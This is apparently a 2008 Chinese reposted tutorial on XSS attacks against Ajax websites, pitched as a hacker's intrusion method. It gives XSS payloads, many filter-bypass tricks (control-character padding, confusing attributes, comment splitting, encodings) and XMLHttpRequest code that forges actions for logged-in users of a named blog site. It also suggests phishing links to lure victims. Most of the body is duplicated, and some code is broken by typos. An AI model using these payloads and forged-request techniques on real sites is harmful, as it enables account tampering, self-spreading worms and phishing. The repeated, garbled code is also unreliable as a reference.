黑客教你新型入侵方法:Ajax hacking with Xss
互聯(lián)網(wǎng) 發(fā)布時間:2008-10-08 19:37:48 作者:佚名
我要評論

在十期發(fā)表《Ajax hacking》后,網(wǎng)友給我的反饋中關(guān)于XSS技術(shù)方面的問題主要由以下幾個。為 什么在Ajax hacking中使用XSS?它與傳統(tǒng)的XSS又有什么區(qū)別?它們各有怎么樣的利弊端?大型網(wǎng)站的所 謂XSS漏洞是否為雞肋?下面我們一起來詳細分析下。
Ajax hacking
在十期發(fā)表《Ajax hacking》后,網(wǎng)友給我的反饋中關(guān)于XSS技術(shù)方面的問題主要由以下幾個。為 什么在Ajax hacking中使用XSS?它與傳統(tǒng)的XSS又有什么區(qū)別?它們各有怎么樣的利弊端?大型網(wǎng)站的所 謂XSS漏洞是否為雞肋?下面我們一起來詳細分析下。
Ajax hacking
Ajax hacking這個名詞最先出現(xiàn)在Billy Hoffman的一篇名為《AJAX dangers》報告中,他把samy 和yamanner這種攻擊形式定義為AJAX hacking。而在此之前它們只是被說屬于web2.0蠕蟲(或XSSworm) ,但對這種攻擊形式并沒有一個明確的定義。這里我們暫以AJax hacking中的XSS進行一些深入的性討論 。關(guān)于Ajax的其他攻擊形式請到網(wǎng)上參看文章《Top 10 Ajax Security Holes and Driving Factors》或 者是翻譯成中文的《細數(shù)Web2.0下的十大安全威脅》。
在傳統(tǒng)的XSS攻擊中,我們的目的通常是直接提權(quán)或者獲取Cookies后提權(quán),所以代碼執(zhí)行方式一 般是windows.open、window.location或iframe,于是它的兩大弱點就體現(xiàn)出來了,不具有傳播性和易暴 露性。在AJax hacking中利用Ajax這一種新技術(shù),攻擊方式及對象得以轉(zhuǎn)變。其實絕大部分人在獲得管理 員權(quán)限又擁有文件更改權(quán)限后所能做的也就是掛馬,很少設(shè)計商業(yè)機密之類!而這一攻擊則直接把矛頭指 向客戶端,由于數(shù)據(jù)全部是使用異步調(diào)取方式,所以具有很強的隱蔽能力;通過操縱已登錄的用戶權(quán)限, 可以直接對用戶信息進行更改,甚至可以使該代碼集合自動傳播實現(xiàn)蠕蟲功能。
XSS 利用方式
在傳播的XSS攻擊案例中,代碼插入的利用方式一般是在URL和文本區(qū)域(textarea)中。但對于 日前大面積利用Ajax技術(shù)進行建站的站點來說,利用新形式的Ajax hacking技術(shù)可以將利用方式大體擴展 到URL域、input域、textarea域、embed域、css、rss、xml載體七種方式。
URL XSS
可以進行XSS的URL一般為"(域名)/(文件名)(文件格式)?(字段名)=(字段內(nèi)容)"這種 形式,而且字段內(nèi)容通常會在頁面的某一個位置顯示出來或者被調(diào)用。由于網(wǎng)站編寫者的疏忽,沒有把對 應(yīng)的字段內(nèi)容進行安全檢測和過濾,而直接調(diào)用到頁面上,使得我們只把字段內(nèi)容替換成我們想要的XSS 代碼即產(chǎn)生跨站。比如:
http://club.sohu.com/joke/1.htm? stra=<script>alert(document.cookie);</script>
但是這種方式一般需要誘使用戶點擊你事先偽造的鏈接,而鏈接你可以掛在論壇里或者以E-mail 的方式進行釣魚性欺騙。 Input和textarea以及css XSS input和textarea以及css XSS是我們所用到的方式中最廣泛的幾種,由于css實際上屬于Dhtml的 一部分,所以它們的利用方式及繞過過濾特點也大體相同,我們將在后面著重進行相關(guān)的解釋和實驗。 Embed XSS Embed XSS一般利用在允許插入視頻,音樂以及flash的站點上,如果你鏈接到一個被惡意構(gòu)造了 含有XSS腳本的flash文件,比如<EMBED SRC="xss.swf"></EMBED>,然后我們構(gòu)造一個特殊 的.swf文件,并在flash文件的動作里插入以Action Script引到的js或vbs代碼。當(dāng)用戶訪問該頁面時既 產(chǎn)生跨站。 Rss以及Xml XSS 這種攻擊一般利用在可以進行rss聚合的站點以及部分本地的rss解釋器上(據(jù)說對本地的rss解釋 器進行XSS,有獲得主機權(quán)限的可能性,不過本人沒有試過這個?。?,而且由于rss文件一般可以在任何站 點上被引用,所以想進行這類的攻擊測試是很簡單的事情,效果也相當(dāng)明顯。下面是對一個沒有進行任何 過濾設(shè)置的本地調(diào)用遠程rss.xml的實例效果,以及Google調(diào)用該rss的過濾效果。 代碼插入方式 由于插入的腳本為js或者是vbs,所有一般需要由的關(guān)鍵字JavaScript、VbScript、expression比 如<IMG SRC="JavaScript:alert('XSS');">,但當(dāng)接收鼠標(biāo)或鍵盤響應(yīng)時,這三個關(guān)鍵字可以省略掉,所以有以下利用方法<img onmouseover="alert('XSS')">或者<INPUT onkeyup="alert('XSS');">等等。而且由于html并 不遵循xhtml的標(biāo)準,所以可以有以下插入方式: 1、標(biāo)簽屬性可以用雙引號、可以用單引號、也可以可不用引號; 2、屬性值可以大寫;可以小寫;也可以混合寫; 3、可以插入回車、包括段末結(jié)尾符和換行符的兩種、即char(10)和char(13)、tab空格; 4、如果是style形式還可以插入反斜線“\”、注釋符“/**/”; 5、可以將插入的代碼轉(zhuǎn)換成10進制、16進制; 6、由于禁止的不確定性,你插入的進制串可以進行一系列轉(zhuǎn)化并可以隨意搭配組合; 7、進字符“j”就可以有以下15種編碼方法,而且還是不計字符的大小寫。 \6A\06A\006A\0006A\00006A //java形式的16進制編碼 jjjjj //十 進制編碼 jjjjj //十 六進制編碼 8、其他的編碼方式,如htmlEncode和URLEncode對于html及URL的編碼。 至于可以插入代碼的html標(biāo)簽嘛……說句近乎瘋狂的話——目前幾乎所有可以插入屬性的標(biāo)簽都 可以插入代碼,比如<bstyle="xss:expression(alert('XSS'))">。 在html標(biāo)簽中可以插入代碼的屬性一般為:src、style、dynsrc(常用于img和input中,用此屬 性還可以插入視頻等)、lowsrc(預(yù)載縮略圖)、鼠標(biāo)屬性(如o n m o u s e o v e r )、鍵盤屬性( 如onkeypress)、href屬性(常用于a和link)、boby的onload屬性、URL屬性等。 過濾繞過方式 當(dāng)然人家網(wǎng)站也不可能傻乎乎地讓你輸入這些代碼,所以它們一般會對你輸入的字符進行過濾。 所以我們編寫好的代碼并一定就能順利的插入執(zhí)行,很有可能某些關(guān)鍵的字符被過濾掉了,比 如"JavaScript"。如果只是這種單純的過濾,那么繞過方法實在太簡單,只要每當(dāng)輸入此字符時輸 入"javajavascriptscript"之類就可以了。當(dāng)然網(wǎng)站程序員依然不會這樣傻,它們會進行種種過濾來防備 你,所以結(jié)合上面的"代碼插入方式",你可能會總結(jié)出以下的繞過網(wǎng)站過濾系統(tǒng)的方法: 1、用控制字符的ASCII碼填充 比如<IMG SRC=";JavaScript:alert('XSS');">,如果你熟悉ASCII碼,你應(yīng)該 知道系統(tǒng)控制字符一共是33個,這里去掉一個頭�(null)和一個尾(del),其他31個字符 均可以順利插入代碼頭部,對過濾系統(tǒng)進行混淆,并且不影響原代碼執(zhí)行,而且你依然可以用"代碼插入 方式"中的"方案7"進行編碼的任意轉(zhuǎn)換。七種tab符	、換行符
、回車符
可以插到代碼任何地方。 2、插入混淆屬性 當(dāng)我們進行一般的文字錄入時會發(fā)現(xiàn),并不是所有帶"JavaSceipt"這樣的字符都會被過濾掉。而是只有在html標(biāo)簽內(nèi)的特殊字符會被濾掉,這使得我們有了令一套繞過措施,在插入代碼的屬性前面插 入另一混淆屬性,并在該屬性中插入讓過濾系統(tǒng)誤以為是標(biāo)簽結(jié)束符的字符,從而讓過濾系統(tǒng)認為執(zhí)行代碼在html標(biāo)簽的外面。比如: <img src="abc>" onmouseover="[code]"> //插入混淆的src屬 性 <IMG """><SCRIPT>[code]</SCRIPT>"> //插入混 淆的雙引號及 “>”符號 <SCRIPT a=">" SRC="xss.js"></SCRIPT> //插入混淆的a 屬性 3、用注釋符分割 由于瀏覽器會忽略掉每種代碼的注釋符,因此如果我們在代碼中的注釋符就可以成功地欺騙過濾 系統(tǒng)并且不影響XSS代碼的正常運行。比如: <img style="xss:expr/*XSS*/ession([code])"> //css的注釋符號 為/**/,其中的內(nèi)容會被忽略 <style>@im\port'\ja\vasc\ript:alert("XSS")';</style> //css中忽略的符號還有“\” exp/*<A STYLE='no\xss:noxss("*//*");xss:ex/*XSS*//*/*/pression (alert("XSS"))'> //注釋混淆后的樣子 <style><!--</style><script>[code]//-- ></script> //html的注釋符為<!--注釋--> 4、js編碼及調(diào)用 如果過濾系統(tǒng)會過濾掉很多的特征字符,那么當(dāng)我們做以上繞過的時候就會非常的麻煩,所以典型的繞過方案還有對這些代碼進行js編碼或者干脆從外部調(diào)用過來。當(dāng)然由于瀏覽器對Ajax的安全機制,你必須保證調(diào)用的文件在相同的服務(wù)器上,否則就會出現(xiàn)錯誤提示。 異步數(shù)據(jù)調(diào)用 既然是Ajax hacking,自然需要用到異步的數(shù)據(jù)調(diào)用。這里將簡單的介紹一下相關(guān)的知識,要更 深入的了解是長期實踐的結(jié)果。 1、聲明xmlhttprequest對象 數(shù)據(jù)調(diào)用需要事先聲明xmlhttprequest對象,在IE6及以前版本中最簡單的做法是: var XmlHttp=new ActiveXObject("Microsoft.XMLhttp"); 在IE7和firefox中的聲明方法是: var req = new XMLHttpRequest(); 所以如果我們想編出兼容性更好的代碼,可以對客戶端瀏覽器進行判斷,然后分別定義 xmlhttprequest對象,如下: if(window.XMLHttprequest){
XmlHttp = new XMLHttpRequest();
}else if (window.ActiveXObject){
Xmlhttp = new ActiveXObject ('Microsoft.XMLHTTP');
}
然后采用以下方法進行參數(shù)傳遞 XmlHttp.Open("POST","URL",true);
XmlHttp.send(null); 這里要主意的是,XmlHttp.Open中的第一個選項為頁面的請求方式,可以為post、get、head三種 第三 個選項true表示異步方式、false表示同步方式。 利用以上代碼,你可以簡單實現(xiàn)一下在TOM博客中為當(dāng)前用戶添加任意用戶的友情鏈接,如果添加 成功 會返回OK窗口,已經(jīng)添加會返回friended,代碼如下: <script>
var XmlHttp=new ActiveXObject ("Microsoft.XMLhttp");
XmlHttp.Open("POST","http://blog.tom.com/manage/favorite/friend_list.php? UserName=monyer1&Flag=1",true);
XmlHttp.send(null)
XmlHttp.onreadystatechange=ServerProcess;
function ServerProcess(){
if (Xmlhttp.readystate==4 || XmlHttp.readystate=='complete')
alert (XmlHttp.responsetext); }
</script>
利用相同原理,給登錄用戶添加文章也不是什么難題,只不過稍微麻煩店而已,感興趣的朋友可 以自 己回去試試。 V b s c r i p t 中聲明xmlhttprequest的代碼為這樣: dim httpreq as msxml.xmlhttprequest
set httpreq = new xmlhttprequest
httpreq.setrequesttheader "content- type:","text/xml;charest=gb2312"
httpreq,send
利用方式與js大體相同,這里不做過多的即時。 2、獲取頁面元素 獲取頁面指定標(biāo)簽和標(biāo)簽中的值一般會用到以下幾個DOM對象,當(dāng)然對象后面可以加入相關(guān)屬性, 比如 style、value、innerHTML等等。 1)document. getElementByld //獲得制定id的html標(biāo)簽相關(guān)信息 2)document. getElementByname //獲得指定name的html標(biāo)簽相關(guān)信息 3)document. getElementByTagName //獲得指定的html標(biāo)簽相關(guān)信息 3、在頁面中插入html元素 我指導(dǎo)的可以在頁面插入html的js函數(shù)有insertAdjacentHTML、innerHTML(outerHTML)、 inserAdjacentText、innerTEXT(outerTEXT)。其中前兩個是插入html代碼,后兩個是插入文本,所以 我們一般所用的就是前兩個。另外用document對象中的creatElement也可以實現(xiàn)代碼插入,輸入js代碼時 請注意大小寫問題。 1)<a href="#" onclick="this.innerHTML='<h1>i am monyer</h1>' ">innerHTML</a> //替換當(dāng)前標(biāo)簽中的內(nèi)容,作用域不包括當(dāng)前的 html標(biāo)簽 2)<a href="#" onclick="this.outerHTML='<h1>i am monyer</h1>' ">outerHTML</a> //替換當(dāng)前標(biāo)簽及標(biāo)簽中的內(nèi)容,作用域包括當(dāng) 前標(biāo)簽及其中所有內(nèi)容 3)<a onclick="this.insertAdjacentHTML('afterEnd',<h1>monyer</h1>')" href="#">insertAdjacentHTML</a> //新增插入的html代碼,不改 變原標(biāo)簽及內(nèi)容 指定插入html標(biāo)簽語句的地方,有四種值用: a.beforeBegin:插入到標(biāo)簽開始標(biāo)記后 b.afterBegin:插入到標(biāo)簽開始標(biāo)記后 c.beforeEnd:插入到標(biāo)簽結(jié)束標(biāo)記前 d.afterEnd:插入到標(biāo)簽結(jié)束標(biāo)記后 靈活地運用這兩個函數(shù)能幫我們變換出豐富的效果來,我利用百度空間插入視頻的簡化POC: Html頁面的代碼為: <script scr=monyerflash.js></script>
<address>src=http:/ /tv.mofile.com/cn/xplayer.swf?v=9IWKFISE</address>
monyerflash.js代碼為: windwo.onload=function(){
var i,j,x,y,z;
j=document.getElementsByTagName ('address');
for(i=0;i<j.length;i ){
y=document.getElementsByTagName('address') [i];
z=document.getElementsByTagName('address') [i]; firstChild.data;
x='<br/><embed ' z '></embed>';
if(y) y.insertAdjacentHTML('beforeEnd'.x);
}}
總結(jié) 有了以上概述,相信你對Ajax hacking with XSS已經(jīng)有了一個大體的了解,并且只要把文中的響 應(yīng)內(nèi)容進行簡單的組合和更改,就很可能做出某些令人驚喜的東西。當(dāng)然因為Ajax應(yīng)用的是JavaScript的 一部分,所以想充分利用Ajax式的hacking并發(fā)揮它的威力還需要你對JavaScript有一個充分的了解。當(dāng) 你在各個過濾系統(tǒng)間實戰(zhàn)時,你會遇到更多的苦難并需要試著解決各種問題。我認為是否真正入侵一個網(wǎng) 站或者順利掛馬是次要的,不斷提高自己,在功與防的對立統(tǒng)一中不斷尋求突破才是王道!
但是這種方式一般需要誘使用戶點擊你事先偽造的鏈接,而鏈接你可以掛在論壇里或者以E-mail 的方式進行釣魚性欺騙。 Input和textarea以及css XSS input和textarea以及css XSS是我們所用到的方式中最廣泛的幾種,由于css實際上屬于Dhtml的 一部分,所以它們的利用方式及繞過過濾特點也大體相同,我們將在后面著重進行相關(guān)的解釋和實驗。 Embed XSS Embed XSS一般利用在允許插入視頻,音樂以及flash的站點上,如果你鏈接到一個被惡意構(gòu)造了 含有XSS腳本的flash文件,比如<EMBED SRC="xss.swf"></EMBED>,然后我們構(gòu)造一個特殊 的.swf文件,并在flash文件的動作里插入以Action Script引到的js或vbs代碼。當(dāng)用戶訪問該頁面時既 產(chǎn)生跨站。 Rss以及Xml XSS 這種攻擊一般利用在可以進行rss聚合的站點以及部分本地的rss解釋器上(據(jù)說對本地的rss解釋 器進行XSS,有獲得主機權(quán)限的可能性,不過本人沒有試過這個?。?,而且由于rss文件一般可以在任何站 點上被引用,所以想進行這類的攻擊測試是很簡單的事情,效果也相當(dāng)明顯。下面是對一個沒有進行任何 過濾設(shè)置的本地調(diào)用遠程rss.xml的實例效果,以及Google調(diào)用該rss的過濾效果。 代碼插入方式 由于插入的腳本為js或者是vbs,所有一般需要由的關(guān)鍵字JavaScript、VbScript、expression比 如<IMG SRC="JavaScript:alert('XSS');">,但當(dāng)接收鼠標(biāo)或鍵盤響應(yīng)時,這三個關(guān)鍵字可以省略掉,所以有以下利用方法<img onmouseover="alert('XSS')">或者<INPUT onkeyup="alert('XSS');">等等。而且由于html并 不遵循xhtml的標(biāo)準,所以可以有以下插入方式: 1、標(biāo)簽屬性可以用雙引號、可以用單引號、也可以可不用引號; 2、屬性值可以大寫;可以小寫;也可以混合寫; 3、可以插入回車、包括段末結(jié)尾符和換行符的兩種、即char(10)和char(13)、tab空格; 4、如果是style形式還可以插入反斜線“\”、注釋符“/**/”; 5、可以將插入的代碼轉(zhuǎn)換成10進制、16進制; 6、由于禁止的不確定性,你插入的進制串可以進行一系列轉(zhuǎn)化并可以隨意搭配組合; 7、進字符“j”就可以有以下15種編碼方法,而且還是不計字符的大小寫。 \6A\06A\006A\0006A\00006A //java形式的16進制編碼 jjjjj //十 進制編碼 jjjjj //十 六進制編碼 8、其他的編碼方式,如htmlEncode和URLEncode對于html及URL的編碼。 至于可以插入代碼的html標(biāo)簽嘛……說句近乎瘋狂的話——目前幾乎所有可以插入屬性的標(biāo)簽都 可以插入代碼,比如<bstyle="xss:expression(alert('XSS'))">。 在html標(biāo)簽中可以插入代碼的屬性一般為:src、style、dynsrc(常用于img和input中,用此屬 性還可以插入視頻等)、lowsrc(預(yù)載縮略圖)、鼠標(biāo)屬性(如o n m o u s e o v e r )、鍵盤屬性( 如onkeypress)、href屬性(常用于a和link)、boby的onload屬性、URL屬性等。 過濾繞過方式 當(dāng)然人家網(wǎng)站也不可能傻乎乎地讓你輸入這些代碼,所以它們一般會對你輸入的字符進行過濾。 所以我們編寫好的代碼并一定就能順利的插入執(zhí)行,很有可能某些關(guān)鍵的字符被過濾掉了,比 如"JavaScript"。如果只是這種單純的過濾,那么繞過方法實在太簡單,只要每當(dāng)輸入此字符時輸 入"javajavascriptscript"之類就可以了。當(dāng)然網(wǎng)站程序員依然不會這樣傻,它們會進行種種過濾來防備 你,所以結(jié)合上面的"代碼插入方式",你可能會總結(jié)出以下的繞過網(wǎng)站過濾系統(tǒng)的方法: 1、用控制字符的ASCII碼填充 比如<IMG SRC=";JavaScript:alert('XSS');">,如果你熟悉ASCII碼,你應(yīng)該 知道系統(tǒng)控制字符一共是33個,這里去掉一個頭�(null)和一個尾(del),其他31個字符 均可以順利插入代碼頭部,對過濾系統(tǒng)進行混淆,并且不影響原代碼執(zhí)行,而且你依然可以用"代碼插入 方式"中的"方案7"進行編碼的任意轉(zhuǎn)換。七種tab符	、換行符
、回車符
可以插到代碼任何地方。 2、插入混淆屬性 當(dāng)我們進行一般的文字錄入時會發(fā)現(xiàn),并不是所有帶"JavaSceipt"這樣的字符都會被過濾掉。而是只有在html標(biāo)簽內(nèi)的特殊字符會被濾掉,這使得我們有了令一套繞過措施,在插入代碼的屬性前面插 入另一混淆屬性,并在該屬性中插入讓過濾系統(tǒng)誤以為是標(biāo)簽結(jié)束符的字符,從而讓過濾系統(tǒng)認為執(zhí)行代碼在html標(biāo)簽的外面。比如: <img src="abc>" onmouseover="[code]"> //插入混淆的src屬 性 <IMG """><SCRIPT>[code]</SCRIPT>"> //插入混 淆的雙引號及 “>”符號 <SCRIPT a=">" SRC="xss.js"></SCRIPT> //插入混淆的a 屬性 3、用注釋符分割 由于瀏覽器會忽略掉每種代碼的注釋符,因此如果我們在代碼中的注釋符就可以成功地欺騙過濾 系統(tǒng)并且不影響XSS代碼的正常運行。比如: <img style="xss:expr/*XSS*/ession([code])"> //css的注釋符號 為/**/,其中的內(nèi)容會被忽略 <style>@im\port'\ja\vasc\ript:alert("XSS")';</style> //css中忽略的符號還有“\” exp/*<A STYLE='no\xss:noxss("*//*");xss:ex/*XSS*//*/*/pression (alert("XSS"))'> //注釋混淆后的樣子 <style><!--</style><script>[code]//-- ></script> //html的注釋符為<!--注釋--> 4、js編碼及調(diào)用 如果過濾系統(tǒng)會過濾掉很多的特征字符,那么當(dāng)我們做以上繞過的時候就會非常的麻煩,所以典型的繞過方案還有對這些代碼進行js編碼或者干脆從外部調(diào)用過來。當(dāng)然由于瀏覽器對Ajax的安全機制,你必須保證調(diào)用的文件在相同的服務(wù)器上,否則就會出現(xiàn)錯誤提示。 異步數(shù)據(jù)調(diào)用 既然是Ajax hacking,自然需要用到異步的數(shù)據(jù)調(diào)用。這里將簡單的介紹一下相關(guān)的知識,要更 深入的了解是長期實踐的結(jié)果。 1、聲明xmlhttprequest對象 數(shù)據(jù)調(diào)用需要事先聲明xmlhttprequest對象,在IE6及以前版本中最簡單的做法是: var XmlHttp=new ActiveXObject("Microsoft.XMLhttp"); 在IE7和firefox中的聲明方法是: var req = new XMLHttpRequest(); 所以如果我們想編出兼容性更好的代碼,可以對客戶端瀏覽器進行判斷,然后分別定義 xmlhttprequest對象,如下: if(window.XMLHttprequest){
XmlHttp = new XMLHttpRequest();
}else if (window.ActiveXObject){
Xmlhttp = new ActiveXObject ('Microsoft.XMLHTTP');
}
然后采用以下方法進行參數(shù)傳遞 XmlHttp.Open("POST","URL",true);
XmlHttp.send(null); 這里要主意的是,XmlHttp.Open中的第一個選項為頁面的請求方式,可以為post、get、head三種 第三 個選項true表示異步方式、false表示同步方式。 利用以上代碼,你可以簡單實現(xiàn)一下在TOM博客中為當(dāng)前用戶添加任意用戶的友情鏈接,如果添加 成功 會返回OK窗口,已經(jīng)添加會返回friended,代碼如下: <script>
var XmlHttp=new ActiveXObject ("Microsoft.XMLhttp");
XmlHttp.Open("POST","http://blog.tom.com/manage/favorite/friend_list.php? UserName=monyer1&Flag=1",true);
XmlHttp.send(null)
XmlHttp.onreadystatechange=ServerProcess;
function ServerProcess(){
if (Xmlhttp.readystate==4 || XmlHttp.readystate=='complete')
alert (XmlHttp.responsetext); }
</script>
利用相同原理,給登錄用戶添加文章也不是什么難題,只不過稍微麻煩店而已,感興趣的朋友可 以自 己回去試試。 V b s c r i p t 中聲明xmlhttprequest的代碼為這樣: dim httpreq as msxml.xmlhttprequest
set httpreq = new xmlhttprequest
httpreq.setrequesttheader "content- type:","text/xml;charest=gb2312"
httpreq,send
利用方式與js大體相同,這里不做過多的即時。 2、獲取頁面元素 獲取頁面指定標(biāo)簽和標(biāo)簽中的值一般會用到以下幾個DOM對象,當(dāng)然對象后面可以加入相關(guān)屬性, 比如 style、value、innerHTML等等。 1)document. getElementByld //獲得制定id的html標(biāo)簽相關(guān)信息 2)document. getElementByname //獲得指定name的html標(biāo)簽相關(guān)信息 3)document. getElementByTagName //獲得指定的html標(biāo)簽相關(guān)信息 3、在頁面中插入html元素 我指導(dǎo)的可以在頁面插入html的js函數(shù)有insertAdjacentHTML、innerHTML(outerHTML)、 inserAdjacentText、innerTEXT(outerTEXT)。其中前兩個是插入html代碼,后兩個是插入文本,所以 我們一般所用的就是前兩個。另外用document對象中的creatElement也可以實現(xiàn)代碼插入,輸入js代碼時 請注意大小寫問題。 1)<a href="#" onclick="this.innerHTML='<h1>i am monyer</h1>' ">innerHTML</a> //替換當(dāng)前標(biāo)簽中的內(nèi)容,作用域不包括當(dāng)前的 html標(biāo)簽 2)<a href="#" onclick="this.outerHTML='<h1>i am monyer</h1>' ">outerHTML</a> //替換當(dāng)前標(biāo)簽及標(biāo)簽中的內(nèi)容,作用域包括當(dāng) 前標(biāo)簽及其中所有內(nèi)容 3)<a onclick="this.insertAdjacentHTML('afterEnd',<h1>monyer</h1>')" href="#">insertAdjacentHTML</a> //新增插入的html代碼,不改 變原標(biāo)簽及內(nèi)容 指定插入html標(biāo)簽語句的地方,有四種值用: a.beforeBegin:插入到標(biāo)簽開始標(biāo)記后 b.afterBegin:插入到標(biāo)簽開始標(biāo)記后 c.beforeEnd:插入到標(biāo)簽結(jié)束標(biāo)記前 d.afterEnd:插入到標(biāo)簽結(jié)束標(biāo)記后 靈活地運用這兩個函數(shù)能幫我們變換出豐富的效果來,我利用百度空間插入視頻的簡化POC: Html頁面的代碼為: <script scr=monyerflash.js></script>
<address>src=http:/ /tv.mofile.com/cn/xplayer.swf?v=9IWKFISE</address>
monyerflash.js代碼為: windwo.onload=function(){
var i,j,x,y,z;
j=document.getElementsByTagName ('address');
for(i=0;i<j.length;i ){
y=document.getElementsByTagName('address') [i];
z=document.getElementsByTagName('address') [i]; firstChild.data;
x='<br/><embed ' z '></embed>';
if(y) y.insertAdjacentHTML('beforeEnd'.x);
}}
總結(jié) 有了以上概述,相信你對Ajax hacking with XSS已經(jīng)有了一個大體的了解,并且只要把文中的響 應(yīng)內(nèi)容進行簡單的組合和更改,就很可能做出某些令人驚喜的東西。當(dāng)然因為Ajax應(yīng)用的是JavaScript的 一部分,所以想充分利用Ajax式的hacking并發(fā)揮它的威力還需要你對JavaScript有一個充分的了解。當(dāng) 你在各個過濾系統(tǒng)間實戰(zhàn)時,你會遇到更多的苦難并需要試著解決各種問題。我認為是否真正入侵一個網(wǎng) 站或者順利掛馬是次要的,不斷提高自己,在功與防的對立統(tǒng)一中不斷尋求突破才是王道!
相關(guān)文章
什么是CC攻擊 判斷網(wǎng)站是否被CC攻擊并且如何防御CC攻擊
CC主要是用來攻擊頁面的,大家都有這樣的經(jīng)歷,就是在訪問論壇時,如果這個論壇比較大,訪問的人比較多,打開頁面的速度會比較慢,對不?!一般來說,訪問的人越多,論壇的頁2024-01-06Windows系統(tǒng)安全風(fēng)險-本地NTLM重放提權(quán)
入侵者主要通過Potato程序攻擊擁有SYSTEM權(quán)限的端口偽造網(wǎng)絡(luò)身份認證過程,利用NTLM重放機制騙取SYSTEM身份令牌,最終取得系統(tǒng)權(quán)限,該安全風(fēng)險微軟并不認為存在漏洞,所以2021-04-15- 這篇文章主要介紹了文件上傳漏洞全面滲透分析小結(jié),這里主要為大家分享一下防御方法,需要的朋友可以參考下2021-03-21
- 這篇文章主要介紹了sql手工注入語句&SQL手工注入大全,需要的朋友可以參考下2017-09-06
- 這篇文章主要介紹了詳解Filezilla server 提權(quán),需要的朋友可以參考下2017-05-13
FileZilla Server 2008 x64 提權(quán)與防御方法
這篇文章主要介紹了FileZilla Server 2008 x64 提權(quán)與防御方法,需要的朋友可以參考下2017-05-13https加密也被破解 HEIST攻擊從加密數(shù)據(jù)獲取明文
不久之前我們說過關(guān)于http和https的區(qū)別,對于加密的https,我們一直認為它是相對安全的,可今天要講的是,一種繞過HTTPS加密得到明文信息的web攻擊方式,不知道這消息對你2016-08-10iPhone和Mac也會被黑 一條iMessage密碼可能就被盜了
一直以來蘋果系統(tǒng)的安全性都是比安卓要高的,但是再安全的系統(tǒng)也免不了漏洞,蘋果也一樣。最近爆出的新漏洞,只需要接收一條多媒體信息或者iMessage就會導(dǎo)致用戶信息泄露。2016-07-27- 國家正在修正關(guān)于黑客方面的法律法規(guī),有一條震驚黑客圈的“世紀佳緣”起訴白帽黑客事件,深深的傷害了廣大黑客們的心,加上扎克伯格和特拉維斯·卡蘭尼克賬號被盜,于是黑2016-07-11
如何逆向破解HawkEye keylogger鍵盤記錄器進入攻擊者郵箱
面對惡意郵件攻擊,我們就只能默默忍受被他攻擊,連自我保護能力都沒有談什么反抗?讓人痛快的是,如今有了解決辦法,逆向破解鍵盤記錄器,進入攻擊者郵箱2016-07-06